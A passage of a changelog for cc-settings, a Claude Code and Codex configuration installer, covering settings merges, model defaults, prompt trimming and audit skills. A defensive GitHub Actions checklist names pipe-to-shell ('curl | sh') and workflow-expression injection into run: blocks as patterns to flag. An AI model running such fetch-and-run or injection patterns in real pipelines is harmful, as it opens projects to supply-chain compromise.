CLAUDE_CODE_SUBAGENT_MODEL(now the default for every subagent, overridden by agentmodel:and per-spawn — built-inExplore/Plan/general-purposenow run on Sonnet), per-model/effortpersistence, thefablealias moving to Fable 5.1,defaultMode: "bypassPermissions"being ignored in project settings, and projectenvno longer settingCLAUDE_CONFIG_DIR/TMPDIR.
Deletions / Native-now-redundant: none.
Files changed:
- src/schemas/hooks.ts, src/schemas/settings.ts, src/schemas/permissions.ts, src/schemas/agent.ts, schemas/*.schema.json
- upstream/claude-code-manifest.json
- src/hooks/model-switch-guard.ts (new), src/lib/hook-runtime.ts, config/40-hooks.json
- src/hooks/statusline.ts
- src/lib/claude-managed-file-manifests.ts
- tests/model-switch-guard.test.ts (new), tests/statusline-cache.test.ts (new), tests/install-e2e.test.ts
- docs/hooks-reference.md, docs/settings-reference.md, docs/frontmatter-reference.md, docs/agent-models.md, CLAUDE-FULL.md
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
Prompt surface adapted to Claude Fable 5.1 per Anthropic's prompting guide. A scan of CLAUDE-FULL.md, the output style, rules, agents, and skills found none of the literal anti-patterns the guide flags (anti-formatting bans, "hold findings" lines, thinking suppression); the changes below are rules whose rationale shifted with the model.
Adopted:
- Editing rule now minimizes edit tokens: surgical
Editfor any targeted change,Writeonly for new files or when most of a file changes, and one re-read-and-retry before falling back toWrite. The old ">15 lines → Write" rule amplified 5.1's tendency to rewrite whole files. - Register gains "no mannered prose" (5.1 prose runs denser) and a positive-framed formatting rule (5.1 under-formats, so bans would suppress needed structure) in both
CLAUDE-FULL.mdandoutput-styles/darkroom.md. - Effort/context guidance is model-aware: on Fable 5.1,
medium≈ Fable 5 at lower cost,lowanswers from memory so raise it for lookups, and the 200K ceiling is about usage limits and attention rather than premium billing (1M at standard rates, cache reads 0.025x). - Delegation: keep working while background agents run; the fast-moving-names verification rule generalizes the hardware/platform search rule to AI models and dev tools.
AGENTS.mdscopes committed tests to what the task asks for, sized like neighbors; scratch checks stay scratch.
Files changed:
- CLAUDE-FULL.md
- output-styles/darkroom.md
- AGENTS.md
- docs/agent-models.md
Default session model is now Claude Fable 5.1 (claude-fable-5-1), replacing claude-opus-5. The whole team is on Max, where Fable has been included since 2026-07-20 (same weekly pool at ~2x the Opus 5 rate, capped at 50% of the weekly limit, extra-usage credits past that), so the default now buys 5.1's long-horizon agentic gains and the pool-burn trade-off is the team's stated preference. Judgment agents (maestro, planner, security-reviewer) stay pinned to claude-opus-5; /model opus remains the per-session step-down. Installs that never changed model move with the default through the v15.4.0 three-way merge; user-set models are untouched.
Files changed:
- config/10-core.json
- docs/agent-models.md
- docs/settings-reference.md
[15.4.0] — 2026-08-27
Changed config defaults now reach existing installs: a value still equal to what the previous install wrote is treated as cc-settings' own old default and moved to the new team value, instead of user-wins freezing it forever. User-changed values keep winning everywhere.
Adopted:
- Three-way defaults update in the settings merge, driven by the recorded baseline (
baselineSettingsreplaces v15.3.0's env-onlybaselineEnv): nested scalar conflicts in the default deep-merge strategy,envvalue conflicts,permissionsscalar fields, and an uncustomizedstatusLineblock (which now also picks up new sub-keys user-wins-whole silently dropped). Reported as "Updated N stale default(s) to the new team value". - The block-level nested-ADD gap itself was already fixed in v12-era
bf9bfdd(deep-merge lands team-only sub-keys); this closes the remaining CHANGED-default and dedicated-strategy cases.
Files changed:
- src/lib/settings-merge.ts
- src/setup.ts
- tests/settings-merge.test.ts
- package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.3.0] — 2026-08-27
Env keys cc-settings retires between versions are now removed from existing installs automatically, instead of surviving until someone remembers the registry.
Adopted:
- Three-way env prune in the settings merge: the previous install's recorded baseline (
~/.claude/.cc-settings-baseline.json, written since v13.1.0) is read before the managed footprint is cleaned and threaded intomergeSettingsasbaselineEnv. A key the old install wrote, the new config no longer sets, and the user never changed is pruned; a user-changed value survives as a user edit. First production caller ofreadSettingsBaseline— the first shipped slice of the three-way merge design, deliberately scoped toenvonly. ENABLE_PROMPT_CACHING_1Hadded toDEPRECATED_ENV_KEYSas the fallback for pre-v13.1.0 installs with no baseline (the v15.2.0 retirement that exposed this gap).
Deletions / Native-now-redundant:
- None.
DEPRECATED_ENV_KEYSstays as the pre-baseline fallback path.
Files changed:
- src/setup.ts
- src/lib/settings-merge.ts
- src/lib/settings-baseline.ts
- tests/settings-merge.test.ts
- tests/install-e2e.test.ts
- package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- CHANGELOG.md
[15.2.0] — 2026-08-27
Claude Code v2.1.238 → v2.1.247 sync: six new settings keys typed, and the blanket 1-hour prompt-cache env var replaced by per-scope cache-TTL keys.
Adopted:
promptCacheTtl: "1h"+subagentPromptCacheTtl: "5m"inconfig/10-core.json(upstream v2.1.242) — the main conversation keeps the 1-hour cache across breaks while subagents, workflows, and compaction drop back to 5 minutes, skipping the higher 1h cache-write rate on every fan-out.feedbackDraftsenum in the settings schema (v2.1.247) — SendFeedback draft control: notify / quiet / off.spinnerTipsOverrideextended withtipsentries ({id, text, cooldownSessions, priority}or plain strings),tipsFile, andlabel(v2.1.247).modelPicker(v2.1.242) — curated/modellineup withoptionsrows andreplaceBuiltInOptions.keybindingFlavorenum (v2.1.238) —"readline"Ctrl+W behavior.modelPricingloose object (v2.1.243, managed) — contracted per-model rates for/costand telemetry.- Manifest: five prompt-cache/feedback env vars added to
knownEnvVars(reference-only).
Deletions / Native-now-redundant:
ENABLE_PROMPT_CACHING_1Henv removed fromconfig/10-core.json— superseded by the typedpromptCacheTtl/subagentPromptCacheTtlkeys above (upstream v2.1.242); the settings keys sit above the env var in upstream precedence, so the var carried no remaining value.docs/settings-reference.mdeffortLevelprose said cc-settings pinshigh; the config pinsmedium— corrected.
Files changed:
- src/schemas/settings.ts
- schemas/settings.schema.json
- config/10-core.json
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- src/setup.ts
- CHANGELOG.md
[15.1.0] — 2026-08-27
- New
--freshinstall flag: reinstalls as if cc-settings were being added to a clean Claude Code setup for the first time. Removes~/.claude/settings.json, the prior-install sentinel (.cc-settings-version), the settings baseline (.cc-settings-baseline.json), and the hooks fingerprint (.cc-settings-hooks-fingerprint), drops any cc-settings-managed MCP servers the current install no longer ships, and moves aside the source repo's.claude/settings.local.json(accreted permission approvals) to a timestamped.bak-<ts>file — then installs the full baseline fresh. Scope is config only: login/auth state, conversation history, projects memory, and non-cc-settings plugins are never touched. Recoverable via--rollback.
[15.0.0] — 2026-08-26
Context-cost diet: users were draining ~80% of their usage allowance in a couple of hours. This release lowers the standing defaults that multiplied token spend and shrinks the always-injected surfaces; depth stays available per session.
Default behavior (breaking for anyone relying on the old defaults):
CLAUDE_CODE_EFFORT_LEVELdefaulthigh→medium. Thinking tokens are output-priced and every inheriting subagent spends them; raise per session with/effort high|xhigh.plannerandsecurity-reviewernow pinxhighin frontmatter.CC_PARALLELMAX_THRESHOLDdefault 12 → 20 (config and thetool-cadencecode default) — each delegation re-pays a full system prompt.- Codex cross-model review batched: one review per PR /
/ship/ risky commit instead of every diff-producing turn. Thecodex-verifyhook now injects[codex:batched];codex execbulk routing is unchanged. - Context guidance: treat 200K tokens as the working ceiling even on 1M-window
models — input past 200K bills at the long-context premium. Compact or
/handoffby ~150K. MANUAL.md and first-session tables are now token-based. - The installer preserves existing scalar env values, so these new defaults do
not reach existing installs on upgrade — apply them by hand
(
/config, or edit~/.claude/settings.json) or reinstall fresh.
Prompt footprint:
CLAUDE-FULL.md12,315 → 9,286 bytes with the same policy content.- Skill selector descriptions 9,913 → 8,673 bytes;
SKILL_DESCRIPTION_BYTE_BUDGETtightened 10,240 → 8,704 (one-way ceiling). - Rules diet:
rules/54.0 KB → 37.6 KB. Reference material moved todocs/performance-reference.mdanddocs/motion-reference.md(read on demand); every enforcement rule and numeric value stays in the rules. A single.tsxtouch now injects ~38 KB of rules instead of ~52 KB, per session and per subagent.
Installer:
- Claude managed-file manifest advanced to v5 to ship the two new reference docs; historical manifest versions exclude them so ownership and upgrade pruning stay accurate.
[14.0.0] — 2026-08-24
This major release changes the installed instruction surface and Claude managed-file ownership.
Prompt footprint:
- Compressed the always-on
AGENTS.mdsurface from 26,445 to 15,938 bytes,CLAUDE-FULL.mdfrom 26,429 to 12,315 bytes, and the Darkroom output style from 5,698 to 3,375 bytes while preserving their guardrails. - Compressed skill selector descriptions from 12,230 to 9,937 bytes and agent selector descriptions from 6,398 to 4,858 bytes. New byte ceilings prevent those surfaces from drifting upward unnoticed.
Installer:
- Advanced the Claude managed-file manifest to v4. New installs no longer copy
rules/README.md, removing 1,475 installed bytes, and v3 installs upgrade without leaving the previously managed file behind.
Portability:
- Made Bun subprocess and test helpers portable to Windows, and isolated FIFO coverage to POSIX platforms where named pipes are available.
Docs:
- Full documentation drift audit — read every reader-facing doc in the repo in full
(MANUAL.md, README.md, AGENTS.md, CLAUDE.md, CLAUDE-FULL.md, SECURITY.md, all of
rules/,agents/, anddocs/) and cross-checked every factual claim against the actual code, via six parallel read-only audits. 46 findings reported (2 were the same cross-file issue caught twice); applied across 22 files this pass. Highlights:triagewas missing from MANUAL.md's "All Skills" table despite being a real, managed skill;docs/frontmatter-reference.mdhad drifted hardest — stale agent tool lists (phantomTodoWrite, missingSendMessage), a fabricatedcontext: inheritvalue that's never actually valid, and every skill's argument-hint/allowed-tools cells out of sync with theirSKILL.mdfrontmatter; two docs (docs/settings-reference.md,docs/agent-models.md) and the upstream manifest still described aCLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTHpin removed in v13.2.1;docs/settings-merge-three-way-design.mdread as an open proposal when part of it shipped (v13.1.0) and the rest was explicitly declined — now marked historical;docs/security-reference.mdhad a duplicated OWASP category number (two sections both claimed A07:2021, A04:2021 Insecure Design was missing);agents/maestro.md's delegation matrix was missingdeslopper,security-reviewer, andcodex-verifierdespite MANUAL.md claiming it delegates to "all of the above";agents/planner.mdpointed readers to an ADR template that existed nowhere in the repo — it now contains one. Also rewrote MANUAL.md's eight-mode/auditsection from one 900-word paragraph into a scannable per-mode list, and split two other dense paragraphs (SECURITY.md's auto-update controls, docs/codex-bridge.md's quota-steering mechanics) into bulleted lists — same facts, readable without prior context. Full file list in the diff; two batches of the sweep declined to report and had to be re-prompted (docs-audit-rules, docs-audit-batch-a) — noted here in case the pattern recurs.
[13.16.0] — 2026-08-20
Sync with Claude Code v2.1.235–v2.1.237 (from v2.1.234). Three upstream releases, mostly bug fixes; two config-surface additions and two documented behaviors.
Adopted:
spellchecksettings key (upstream 2.1.235) — underlines misspelled words in the prompt input via installedaspell/hunspell/ispell. Added tosrc/schemas/settings.tsas aboolean | objectsuperset (upstream hasn't pinned the value shape) and documented indocs/settings-reference.md. Not enabled inconfig/— keeps the strict schema from rejecting a live settings.json that sets it.ANTHROPIC_DEFAULT_MODELenv var (upstream 2.1.236) — the model new sessions start on; a/modelpick still overrides it and persists, unlikeANTHROPIC_MODEL. Tracked in the manifest and the docs env table. cc-settings keeps pinning the default via themodelsettings key.
Docs:
notify_when_idleon cross-sessionSendMessage(upstream 2.1.236) — one-shot idle notice from a same-machine session, replacingListAgentspolling. Documented indocs/settings-reference.md→ Cross-session messaging.- Built-in "Concise" output style (upstream 2.1.237) — noted in
MANUAL.md; Darkroom stays the shipped default because Concise targets brevity only, without the register rules.
Files changed:
- src/schemas/settings.ts
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- MANUAL.md
- src/setup.ts
- CHANGELOG.md
[13.15.0] — 2026-08-20
cc-settings now installs a native Codex harness from the same installer and source tree as Claude
Code. Native setup replaces /import as the recommended path. /import remains available for
migrating an existing hand-tuned Claude Code profile.
Added:
- Target selection across the full lifecycle.
--target=auto|claude|codex|bothnow applies to install, dry run, status, rollback, and uninstall.autoselects both products whencodexis onPATH, and Claude Code only otherwise. Unknown flags and invalid values fail closed. - A native Codex install package. Full installs manage a marked
AGENTS.mdblock, Codex role TOMLs,rules/darkroom.rules, allowlisted runtime source, a version sentinel, Codex-specific backups, and thedarkroom@cc-settingsplugin. The plugin supplies the 38 shared skills, the fixed HTTPS Figma MCP, compatible lifecycle hooks, and Codex UI metadata. User-created and ignored checkout files are not copied into the managed runtime. - Ownership-aware Codex lifecycle operations. Reinstalls preserve unrelated agents, rules, and instruction text. First installs refuse same-name collisions. Light switches, rollback, and uninstall remove only sentinel-owned native agent files, while uninstall keeps backups.
Changed:
- Codex setup documentation now leads with the native installer. It documents one-time hook
trust review through
/hooks, MCP authentication, the Codex-specific light profile, independent product backups, IDE plugin limits, and Claude-only workflow boundaries. - Codex MCP defaults now avoid mutable registry commands. Context7 and Chrome DevTools are not
auto-run from unpinned packages. Users may configure reviewed and pinned versions. Shared Codex
workflows fall back from the unbundled
tldrserver torgand native search. - The bootstrap flag reference now covers Codex targets and uninstall. The remote one-liners still run the default target; passing flags requires running the bootstrap from a checkout.
/audit reshuffled: Maintainability and Codebase modes merged into one, new empirical-only Performance mode. The two modes fanned the same whole-repo readers over the same files and shipped near-identical reports, so they now run as one Codebase mode with two hunt lists — a structure lens (should this code exist? — the Cursor thermo-nuclear rubric + context7 dependency audit) and a behavior lens (does it do what it promises? — the fable-audit adversarial categories). The mode router's maintainability-vs-correctness clarifying question is gone; bare "audit the codebase" routes straight in. The new Performance mode covers client runtime, bundle/build, server/data, and code-level hot paths with a hard evidence rule: a finding does not exist until a measurement confirms it — static reading only generates hypotheses, each confirmed or discarded by a profile/benchmark/timed run, unmeasurable leads quarantined in an ungraded appendix, and a "not measurable" repo gets a stop, not a speculative report. Severity anchors on budgets (CWV good thresholds, per-route first-load JS) where a limit is named and on leverage (measured cost × path frequency) otherwise. Client-runtime numbers delegate to the same Lighthouse protocol /lighthouse uses; /lighthouse keeps the single-page fix-until-targets loop and dropped the ambiguous "performance audit" trigger. Mode count stays eight; skill count unchanged. Updated: skills/audit/SKILL.md, skills/audit/references/audit-contract.md, skills/audit/references/nuclear-review.workflow.js (header), skills/lighthouse/SKILL.md (description), MANUAL.md.
Also in this release: audit's codebase mode reconciles SHORTCUT: markers like documented decisions and adds deslop-cli as a second advisory dead-code signal; the performance mode's hypothesis sweep targets high fan-in hubs from the tldr call graph; findings hand off by type (dead code/duplication → deslopper, structure → /zero-tech-debt//refactor, client runtime → /lighthouse); oracle and strategist cross-reference each other to resolve their trigger adjacency; the Codex native install's collision error now names its remediation.
[13.14.0] — 2026-08-18
The audit skill gains an SEO mode — discoverability for search engines and answer engines. Distilled from shipped Darkroom work: satus PRs #348/#405/#413 and darkroomengineering/website PRs #40/#65 independently converged on one discoverability architecture, and the mode encodes that destination shape as 17 mechanical checks so any client project can be audited against it.
Added:
skills/audit/references/seo-checks.md— the check reference (S1–S17, stable IDs), five groups: canonical integrity (self-referential per route; Next.js replaces, never merges, a child'salternates), advertised-vs-rendered (every sitemap URL must 200 — the sitemap never checks reachability itself), per-content metadata, structured data (JSON-LD hygiene, no fabricated facts), and AEO surfaces (/llms.txtgenerated from shared sources, AI crawlers named in robots.txt, machine-view routes for canvas-heavy sites). Each check carries the curl/grep detection command and the fix's destination shape.Mode: SEOinskills/audit/SKILL.md— rides the Shared Contract (CONFIRMED/PLAUSIBLE, stable IDs,docs/audits/seo-audit-YYYY-MM-DD.md), runs mechanical checks before source reading, and adds a per-check verdict table so successive audits diff against the last run. Router triggers: "seo audit", "aeo", "ai engine optimization", "answer engine", "rank better".
Changed:
- The audit skill description was compressed to fit the new mode under the 1024-char per-skill cap and the 12 KiB index budget — trigger phrases dropped where the remaining description text already carries the routing keyword ("harsh maintainability review", "docs audit", "audit the workflows", "abuse paths", "discoverability audit", "llms.txt").
[13.13.0] — 2026-08-18
Sync with Claude Code v2.1.234 (from 2.1.228; 2.1.230 was never published — the upstream changelog jumps 2.1.229 → 2.1.231). The headline is upstream removing the todo/task tools from Opus 4.8+ models; cc-settings follows the removal instead of opting back in.
Adopted:
- Todo/task tools stripped from agent frontmatter (upstream 2.1.233 removed
TodoWriteandTaskCreate/Get/Update/Liston Opus 4.8+, Sonnet 5, Fable 5, Mythos 5).implementerlosesTodoWrite;deslopperloses theTask*quartet;maestroloses both, and its teams-orchestration and batch-detection prose no longer leans on a shared task list. The alternative —CLAUDE_CODE_ENABLE_TODO_TOOLS=1inconfig/10-core.json— was considered and rejected at the sync gate: follow the upstream direction rather than pin old behavior. Why this matters: with the session on Opus 5 and subagents on Sonnet 5, all three agents were declaring tools that no longer exist. sandbox.ripgrep(2.1.232) insrc/schemas/settings.ts— third sandbox binary override next tobwrapPath/socatPath; honored only from user/managed/--settingsscopes, and managed overrides of any of the three now require approval.- Marketplace keys (2.1.232) in
src/schemas/settings.ts—additionalMarketplacesandallowedMarketplaces, the new friendlier aliases forextraKnownMarketplaces/strictKnownMarketplaces, plusextraKnownMarketplacesitself, which predates this window but was never modelled. - Seven env vars in the manifest and
docs/settings-reference.md:CLAUDE_CODE_TOOL_MEMORY_LIMIT,CLAUDE_CODE_WEBFETCH_CACHE_TTL_MS,CLAUDE_CODE_ENABLE_TODO_TOOLS(2.1.233);CLAUDE_CODE_PROJECT_DIR_NAME,CLAUDE_CODE_GOAL_CHECKIN_MINUTES(2.1.234);CLAUDE_CODE_WORKFLOW_PREFIX_STAGGER_MS,CLAUDE_CODE_ATTRIBUTION_HEADER(2.1.229). - Docs:
CLAUDE-FULL.mdcross-session messaging paragraph gains the 2.1.232 upgrades (bare-nameSendMessagedelivery,@-mention of sessions, unique live-session names).
Deletions / Native-now-redundant: none. Checked and cleared: the removed "Default teammate model" /config row (zero references here), the native GitLab MR statusline badge (custom statusline.ts unaffected), and the new /config rows for dialog expiry and cross-session inbound (keys modelled since the 2.1.224 sync).
Skipped: all GitLab integration, gateway/enterprise surfaces, plugin marketplace command sources (no plugin-source schema here — same call as the 2.1.224 sync), the selection:clear keybinding, and the usage-limit auto-continue toggle (its settings key is unnamed upstream; the loose root tolerates it).
Files changed:
- agents/implementer.md
- agents/deslopper.md
- agents/maestro.md
- src/schemas/settings.ts
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- CLAUDE-FULL.md
- CHANGELOG.md
- package.json
- src/setup.ts
- .claude-plugin/plugin.json
- .codex-plugin/plugin.json
[13.12.0] — 2026-08-13
Codex gets a distribution surface — one source tree, two harnesses. cc-settings already pairs with Codex at runtime through the bridge (docs/codex-bridge.md); this adds the setup half, so a Codex user can consume the same standards and skills without a fork or a second installer.
Added:
.codex-plugin/plugin.json— a Codex-native plugin manifest that points at the shared./skills/directory rather than copying it. Both marketplaces now advertise the samedarkroomplugin from the same checkout, so the skill library cannot drift between them.docs/codex.md— the setup doc. Recommends Codex's native/importof an installed Claude Code harness as the complete path (it translates instructions, settings, skills, hooks, MCP servers, and subagents), and documents the plugin manifest as a skills-only preview for packaging validation and incremental porting. Records the distribution decision: keep Codex support in this repo; do not create acodex-settingsrepository unless Codex needs independently versioned behavior.- Version-sync coverage for the new manifest in
tests/plugin-manifest.test.ts— the version-bearing file count goes from three to four, and a new identity-alignment test pinsname,author,repository, andlicenseequal across both plugin manifests. Without it the two manifests could describe different plugins under one marketplace entry.
Changed:
README.md— the one-line description now says "AI coding configuration" instead of "Claude Code configuration", since the Claude harness is no longer the only consumer. Adds a Codex setup pointer and adocs/codex.mdrow to the docs table.
Boundary worth knowing: the plugin path exposes SKILL.md files only. CLAUDE-FULL.md, Claude settings, hooks, and role-agent definitions still need the import's translation, and several orchestrated skills refer to Claude role-agent conventions. Do not call the skill library Codex-native until representative multi-agent, review, and shipping flows pass there.
Files changed:
- .codex-plugin/plugin.json (new)
- docs/codex.md (new)
- docs/codex-bridge.md
- README.md
- CHANGELOG.md
- package.json
- src/setup.ts
- .claude-plugin/plugin.json
- tests/plugin-manifest.test.ts
[13.11.0] — 2026-08-12
Security-review techniques folded in from vercel-labs/deepsec (Apache-2.0); no new skill, 38-skill ratchet holds. deepsec is a standalone paid AI vulnerability scanner — its product code isn't portable, but its investigation prompt and matcher library carry concrete review heuristics cc-settings lacked.
Adopted:
agents/security-reviewer.mdgains an Auth-Review Discipline section — three rules from deepsec's investigation prompt: only middleware that wraps the handler directly counts as an auth check (edge/proxy/CDN/WAF and Next.jsmiddleware.tsare explicitly insufficient); a four-surface auth-bypass checklist (URL manipulation, auth-flow tampering, resource-level authorization gaps, and negated permission checks like!(await auth.can(...))with inverted logic); and a static-analysis-only constraint (never reproduce or exploit, review source only).docs/security-reference.mdgains Framework Auth & Supply-Chain Checklists — from deepsec's tested matcher library: every export from a'use server'file is a publicly callable POST endpoint regardless of client call sites (and auth present is not auth correct — the call's logic still gets reviewed), untrustedsearchParams/dynamic segments, cross-tenantunstable_cachekeys; a GitHub Actions checklist (pull_request_targetwith PR checkout, unpinned action refs,${{ github.event.* }}interpolated intorun:blocks,permissions: write-all,curl | sh); and a compact Dockerfile/Terraform checklist (digest-pinnedFROM, non-rootUSER, IAM wildcards,0.0.0.0/0ingress, SHA-pinned modules).docs/security-reference.mdgains "Wiring a Security Scanner into PR CI" — the two-job pattern with its threat model kept intact: the analyze job runs PR code with read-only permissions (a PR controls its own postinstall scripts and CLI-loaded config, which run before your steps), the comment job holdspull-requests: writeand never executes PR code; net-new-findings-only gating (baseline read from the base ref, never the PR checkout) so pre-existing debt doesn't turn every touching PR red; a same-repo gate on the secret-bearing job (deepsec's doc calls it anauthor_associationgate in one section and UX cleanup in another — the same-repo check is what its shipped workflow implements, and it's what keeps scanner credentials from being reachable by fork PR code), optional label-gating for defense-in-depth; SHA-pinned actions and three-dot merge-base diffs./auditthreat-model mode gains a fifth hunt category — the repo's own delivery pipeline as an entry point, walking the new checklists.
Explicitly not taken: deepsec's runbook SKILL.md (drives their paid CLI), the scanner itself (different tier — at most a companion tool), and the generate-validate-explosion-check contract for LLM-authored regex (genuinely novel, but cc-settings has no LLM-generated-pattern feature to guard yet — parked as a reference design in this entry).
Files changed:
- agents/security-reviewer.md
- docs/security-reference.md
- skills/audit/SKILL.md
- src/setup.ts
- .claude-plugin/plugin.json
- package.json
- CHANGELOG.md
[13.10.1] — 2026-08-12
Sync with Claude Code 2.1.228, plus a schema repair from 2.1.226. The 2.1.227 and 2.1.228 changelogs are entirely bug fixes and UI polish — no new settings keys, hook events, env vars, tools, or agent-frontmatter fields, so nothing to adopt and nothing to dedupe.
Adopted: nothing from 2.1.227–2.1.228 itself. One repair from the previous release: remoteControlAtStartup (v2.1.226) was enabled in config/10-core.json without a matching key in the settings schema, failing the composed-fragments known-key test — now in src/schemas/settings.ts, the manifest's knownSettingsKeys, the regenerated schemas/settings.schema.json, and the settings-reference table.
Deletions / Native-now-redundant: nothing. Two candidates were checked and cleared: the 2.1.228 Write-tool change (newer models may overwrite unread files) doesn't touch CLAUDE-FULL.md's Edit Strategy, which is about Edit-tool exact-match failures; the cross-session messaging fixes don't change the semantics docs/settings-reference.md documents. The memory-folder cleanup fix and the marketplace settings-merge fix benefit installs silently.
Files changed:
- upstream/claude-code-manifest.json
- src/setup.ts
- src/schemas/settings.ts
- schemas/settings.schema.json
- docs/settings-reference.md
- .claude-plugin/plugin.json
- package.json
- CHANGELOG.md
[13.10.0] — 2026-08-11
Two external skill repos folded in; the 38-skill ratchet held. A research pass over openai/skills (32 curated skills) and emilkowalski/skills (10 skills) found six things worth taking. None became a new skill — everything grafted into existing skills and rules, which is exactly the consolidation pressure the ratchet exists to apply.
From openai/skills (each skill individually licensed; both sources verified Apache-2.0):
plan-featuregains a Goal Quality Bar — a gate before the discovery interview, adapted fromdefine-goal. The old Phase 1 asked three soft questions (problem/who/success) with no rejection discipline, so "make progress on X" sailed through to a PRD. The gate demands what's true when done, the evidence, the threshold, the scope bound, and the stop condition; rejects pure activity goals until sharpened; and carries a domain-keyed validator table (bug → failing-then-passing repro, perf → metric+threshold+method+runs, research → the decision it unblocks). When a clean one-liner falls out, the interview is skipped entirely — the gate is also an off-ramp./auditgains a Threat-Model mode — the one clean capability gap in the security surface:security-revieweris diff-scoped and nothing produced a standing threat-model document. Repo-grounded STRIDE-style workflow: trust boundaries and assets, attacker capabilities with explicit non-capabilities (an uncalibrated attacker inflates every finding downstream), abuse paths tied to attacker goals, likelihood×impact with the reasoning written out, mitigations mapped one-to-one to components. Pauses to ask about deployment/exposure/sensitivity before finalizing, because those answers reshape severity./review's PR-comments variant follows through — it summarized reviewer feedback but stopped there. It now runs a triage → approval gate → fix → push → thread-reply loop. Cross-model review caught two real bugs in the first draft:gh pr commentposts issue-level comments that never attach to a review thread (replies now go through the REST replies endpoint, and resolution is explicitly left to the reviewer), and "re-run the digest until Blocking hits zero" was unachievable since comments don't disappear when fixed — the digest now tracks addressed-vs-open with commit SHAs.
From emilkowalski/skills (MIT) — the animation-taste layer cc-settings never had. The repo had no easing curves, no duration budgets, and no framework for whether something should animate at all; for a studio whose work is motion-heavy that was the largest documented gap this release closes:
/qagains a Motion Opportunities pass (fromfind-animation-opportunities) — finds places that should animate and rejects everywhere that shouldn't. Every candidate survives a four-question gate: frequency (100+/day → never animate, no exceptions), a named purpose ("it looks cool" is not on the list), the duration budget, and function (decorative motion hurts data the user is reading). Output is capped at 5–7 suggestions pulling values from the project's own tokens, and must include 2–5 rejected candidates tagged with the question that killed them — the rejection list is what separates the pass from a wishlist. The qa fork's tool list gainedRead/Grep/Glob; cross-model review caught that the pass instructed greps the fork couldn't execute./reviewgains an animation checklist (fromreview-animations) — ten standards enforced per-diff when motion code is touched (justified motion, frequency-appropriateness,ease-inas a hard block, sub-300ms with modals/drawers sanctioned to 500ms, trigger-anchoredtransform-origin, interruptibility, GPU-only properties, reduced-motion, asymmetric enter/exit, cohesion), plus flag-on-sight escalation triggers and a remedial order that starts with "delete the animation"./auditgains a Motion mode (fromimprove-animations) — whole-repo animation audit producing self-contained implementation plans, slotting into the same mode-router skeleton as the other six. Seven modes total.rules/ui-skills.mdAnimation Constraints rewritten — the three old bullets become easing tokens (--ease-out,--ease-in-out,--ease-drawerwith cubic-bezier values), a duration budget by element type, the should-it-animate frequency table, and a never-ship list. One deliberate policy change: "only animate when explicitly requested by design" is gone — the gate replaces it, and/qanow proposes motion rather than waiting for design to ask. Also new: a curated library-picks table (cmdk, NumberFlow, dnd kit, Virtuoso, the clsx/cva split).rules/motion-physics.mdis new (rules are uncapped) — interruptibility as the first law of gesture-driven motion, 1:1 direct manipulation with pointer capture andtouch-action/pointercancelhandling, Apple-style spring defaults (duration+bounce, bounce only when the gesture carried momentum), velocity handoff at release, momentum projection, rubber-banding, asymmetric timing, clip-path recipes, a debugging-feel method, and a vocabulary table for briefing agents precisely.
Adjudicated cross-model review, both rounds. Codex returned 4 findings on the openai batch and 8 on the motion batch; all 12 verified against the files before acting, all 12 confirmed and fixed pre-land — including three internal contradictions (reduced-motion "gentler not zero" vs an old example that zeroed durations; the 300ms rule vs the 500ms modal allowance stated without a carve-out; clip-path counted as both "third" and "fourth" sanctioned property).
Explicitly not taken: Stagehand (the repo has zero Playwright to replace, and its LLM-picks-the-selector layer duplicates what Claude already does through chrome-devtools MCP — at added cost and nondeterminism); openai's deploy/Notion/Linear/Codex-specific skills; ask-sonner; emil-design-eng (90% internal duplicate). Emil's prototype (N divergent UI variants behind a live picker) is genuinely novel but skill-shaped — taking it means retiring one of the 38, a REPLACE decision deliberately left open.
[13.9.0] — 2026-08-10
Agent teams are now enabled, and deliberately not the default. CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: "1" ships in config/10-core.json. Until now it was set nowhere, while three separate files described team workflows — so no team had ever formed from our config.
Enabling the flag makes teams available, not automatic. Claude still forms one only when asked, or when it proposes one and you approve.
The rule that keeps them from becoming the default (CLAUDE-FULL.md → "Agent teams — enabled, deliberately not the default"): parallelism is not the criterion, because subagent fan-out is already parallel and already gives each worker its own context window. The one thing teams do that subagents cannot is let workers talk to each other — shared task list, direct messaging — where a subagent only reports back. So the test is:
Does worker A need to see, challenge, or build on what worker B found while both are still working?
Yes → team (competing hypotheses that should disprove each other, a review whose lenses need to argue). No → parallel Agent calls, which are cheaper and land results in one place instead of N transcripts. Tokens are a real input but not the deciding one; trading them for wall-clock is often right. Spend them when the debate is the point.
Four feasibility gates that come before cost, all from upstream's documented limitations: teammate permission prompts surface in the lead, so a team is not an unattended mechanism; /resume and /rewind do not restore in-process teammates; teammates cannot spawn teammates, so maestro running as a teammate cannot fan out; and two teammates editing one file overwrite each other — split by file ownership at spawn, since teammates are separate sessions and cannot take the worktree isolation flag a subagent can.
Files changed:
config/10-core.json— the flag. New template env keys reach existing installs throughsettings-merge.ts's{ ...team, ...user }, so asetup.shre-run picks it up.CLAUDE-FULL.md— the selection rule, plus a routing-table row for "workers must argue with each other, not just report back".skills/orchestrate/SKILL.md— corrects the prerequisites text written earlier the same day, which said cc-settings does not enable teams.docs/settings-reference.md— env-table row for the flag.
[13.8.0] — 2026-08-10
Sync with Claude Code v2.1.226. Both features in this window ship real config that the changelog doesn't mention, so the shapes here were read out of the 2.1.226 binary and cross-checked against the cross-session-messaging docs page rather than inferred from release notes.
Adopted — cross-session messaging (upstream 2.1.224):
